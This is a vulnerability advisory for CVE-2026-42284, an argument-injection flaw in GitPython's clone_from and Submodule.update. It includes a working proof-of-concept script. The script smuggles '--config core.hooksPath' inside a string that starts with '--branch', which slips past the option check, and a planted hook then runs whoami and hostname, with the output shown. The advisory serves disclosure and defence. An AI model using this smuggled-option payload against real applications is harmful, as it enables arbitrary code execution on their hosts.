CVE-2026-42284

ADVISORY - github

Summary

Summary

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC

import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79

Impact

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Common Weakness Enumeration (CWE)

ADVISORY - github

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

2.2

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.1high

Alpine

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Debian

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Ubuntu

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

N/Amedium